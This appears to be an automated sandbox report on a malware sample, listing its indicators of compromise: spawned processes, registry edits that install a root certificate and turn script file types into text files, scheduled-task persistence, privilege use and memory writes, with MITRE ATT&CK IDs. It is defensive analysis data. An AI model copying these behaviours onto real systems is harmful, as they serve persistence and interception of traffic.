cmd.execmd.exenet.execmd.execmd.execmd.execmd.exeschtasks.exedqljao.execacls.exenet1.exebydmpgmtu.exenetsh.exenetsh.exesc.exetwqzgiyri.execmd.execmd.exenet1.execmd.execmd.exenetsh.exenet.exenet1.exenet1.execmd.exenet.exexohudmc.exewpcap.exenet1.exenet1.exenetsh.execmd.execacls.exenet1.exeschtasks.exenetsh.exePING.EXEwuvtyst.execmd.execmd.execmd.exesc.exenetsh.exenet1.exesc.execmd.exenetsh.exenet.exenet1.exenet.exenet1.execmd.exenetsh.exenetsh.execmd.exenet.exenet.execmd.exesc.exe42a10d8edddb7960807080da2cb9f8700e1ff90c7e8068962065222203313b5eN.exenetsh.execmd.exenetsh.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dqljao.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bydmpgmtu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	twqzgiyri.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wpcap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wuvtyst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	42a10d8edddb7960807080da2cb9f8700e1ff90c7e8068962065222203313b5eN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

Processes:

cmd.exePING.EXE

pid	Process
1632	cmd.exe
2292	PING.EXE

NSIS installer 3 IoCs

installer

Processes:

resource	yara_rule
behavioral1/files/0x0008000000016d3e-8.dat	nsis_installer_2
behavioral1/files/0x0008000000016ea4-17.dat	nsis_installer_1
behavioral1/files/0x0008000000016ea4-17.dat	nsis_installer_2

Modifies data under HKEY_USERS 64 IoCs

Processes:

wuvtyst.exeaibzbbvzt.exenetsh.exenetsh.exeaibzbbvzt.exenetsh.exenetsh.exeaibzbbvzt.exenetsh.exeaibzbbvzt.exeaibzbbvzt.exenetsh.exenetsh.exeaibzbbvzt.exenetsh.exenetsh.exenetsh.exenetsh.exeaibzbbvzt.exenetsh.exeaibzbbvzt.exenetsh.exe

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	wuvtyst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	aibzbbvzt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	wuvtyst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	wuvtyst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	wuvtyst.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	wuvtyst.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	aibzbbvzt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	wuvtyst.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	wuvtyst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	wuvtyst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	wuvtyst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	wuvtyst.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wuvtyst.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1"	aibzbbvzt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	wuvtyst.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{20FBA803-0F84-44D8-A4E2-6F963A8D9FAF}\WpadDecisionTime = f0150690fe1edb01	wuvtyst.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{20FBA803-0F84-44D8-A4E2-6F963A8D9FAF}\WpadDecisionTime = b0f505d2fe1edb01	wuvtyst.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	aibzbbvzt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	aibzbbvzt.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1"	aibzbbvzt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	wuvtyst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	wuvtyst.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	wuvtyst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	wuvtyst.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1"	aibzbbvzt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	wuvtyst.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wuvtyst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	wuvtyst.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f016e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	wuvtyst.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{20FBA803-0F84-44D8-A4E2-6F963A8D9FAF}\WpadDecisionReason = "1"	wuvtyst.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	wuvtyst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	wuvtyst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	wuvtyst.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals	aibzbbvzt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1"	aibzbbvzt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	wuvtyst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	wuvtyst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	wuvtyst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wuvtyst.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	aibzbbvzt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	wuvtyst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	wuvtyst.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	aibzbbvzt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	wuvtyst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	wuvtyst.exe

Modifies registry class 14 IoCs

Processes:

wuvtyst.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	wuvtyst.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

wuvtyst.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	wuvtyst.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	wuvtyst.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

Processes:

PING.EXE

pid	Process
2292	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid	Process
2800	schtasks.exe
2368	schtasks.exe
2868	schtasks.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

wuvtyst.exe

pid	Process
2968	wuvtyst.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

wuvtyst.exe

pid	Process
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe

Suspicious behavior: LoadsDriver 31 IoCs

Processes:

pid	Process
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480

Suspicious behavior: RenamesItself 1 IoCs

Processes:

42a10d8edddb7960807080da2cb9f8700e1ff90c7e8068962065222203313b5eN.exe

pid	Process
840	42a10d8edddb7960807080da2cb9f8700e1ff90c7e8068962065222203313b5eN.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

Processes:

42a10d8edddb7960807080da2cb9f8700e1ff90c7e8068962065222203313b5eN.exewuvtyst.exewuvtyst.exevfshost.exesvchost.exeaibzbbvzt.exetbfbrq.exeaibzbbvzt.exeaibzbbvzt.exeaibzbbvzt.exeaibzbbvzt.exeaibzbbvzt.exeaibzbbvzt.exeaibzbbvzt.exe

description	pid	Process
Token: SeDebugPrivilege	840	42a10d8edddb7960807080da2cb9f8700e1ff90c7e8068962065222203313b5eN.exe
Token: SeDebugPrivilege	2896	wuvtyst.exe
Token: SeDebugPrivilege	580	wuvtyst.exe
Token: SeDebugPrivilege	1524	vfshost.exe
Token: SeAuditPrivilege	2640	svchost.exe
Token: SeDebugPrivilege	1324	aibzbbvzt.exe
Token: SeShutdownPrivilege	1324	aibzbbvzt.exe
Token: SeLockMemoryPrivilege	1392	tbfbrq.exe
Token: SeLockMemoryPrivilege	1392	tbfbrq.exe
Token: SeDebugPrivilege	2420	aibzbbvzt.exe
Token: SeShutdownPrivilege	2420	aibzbbvzt.exe
Token: SeDebugPrivilege	2452	aibzbbvzt.exe
Token: SeShutdownPrivilege	2452	aibzbbvzt.exe
Token: SeDebugPrivilege	2608	aibzbbvzt.exe
Token: SeShutdownPrivilege	2608	aibzbbvzt.exe
Token: SeDebugPrivilege	2008	aibzbbvzt.exe
Token: SeShutdownPrivilege	2008	aibzbbvzt.exe
Token: SeDebugPrivilege	2488	aibzbbvzt.exe
Token: SeShutdownPrivilege	2488	aibzbbvzt.exe
Token: SeDebugPrivilege	2012	aibzbbvzt.exe
Token: SeShutdownPrivilege	2012	aibzbbvzt.exe
Token: SeDebugPrivilege	1016	aibzbbvzt.exe
Token: SeShutdownPrivilege	1016	aibzbbvzt.exe

Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

42a10d8edddb7960807080da2cb9f8700e1ff90c7e8068962065222203313b5eN.exewuvtyst.exewuvtyst.exexohudmc.exedqljao.exewuvtyst.exe

pid	Process
840	42a10d8edddb7960807080da2cb9f8700e1ff90c7e8068962065222203313b5eN.exe
840	42a10d8edddb7960807080da2cb9f8700e1ff90c7e8068962065222203313b5eN.exe
2896	wuvtyst.exe
2896	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
1012	xohudmc.exe
352	dqljao.exe
2968	wuvtyst.exe
2968	wuvtyst.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

42a10d8edddb7960807080da2cb9f8700e1ff90c7e8068962065222203313b5eN.execmd.exewuvtyst.execmd.execmd.exewpcap.exe

description	pid	Process	procid_target
PID 840 wrote to memory of 1632	840	42a10d8edddb7960807080da2cb9f8700e1ff90c7e8068962065222203313b5eN.exe	31
PID 840 wrote to memory of 1632	840	42a10d8edddb7960807080da2cb9f8700e1ff90c7e8068962065222203313b5eN.exe	31
PID 840 wrote to memory of 1632	840	42a10d8edddb7960807080da2cb9f8700e1ff90c7e8068962065222203313b5eN.exe	31
PID 840 wrote to memory of 1632	840	42a10d8edddb7960807080da2cb9f8700e1ff90c7e8068962065222203313b5eN.exe	31
PID 1632 wrote to memory of 2292	1632	cmd.exe	33
PID 1632 wrote to memory of 2292	1632	cmd.exe	33
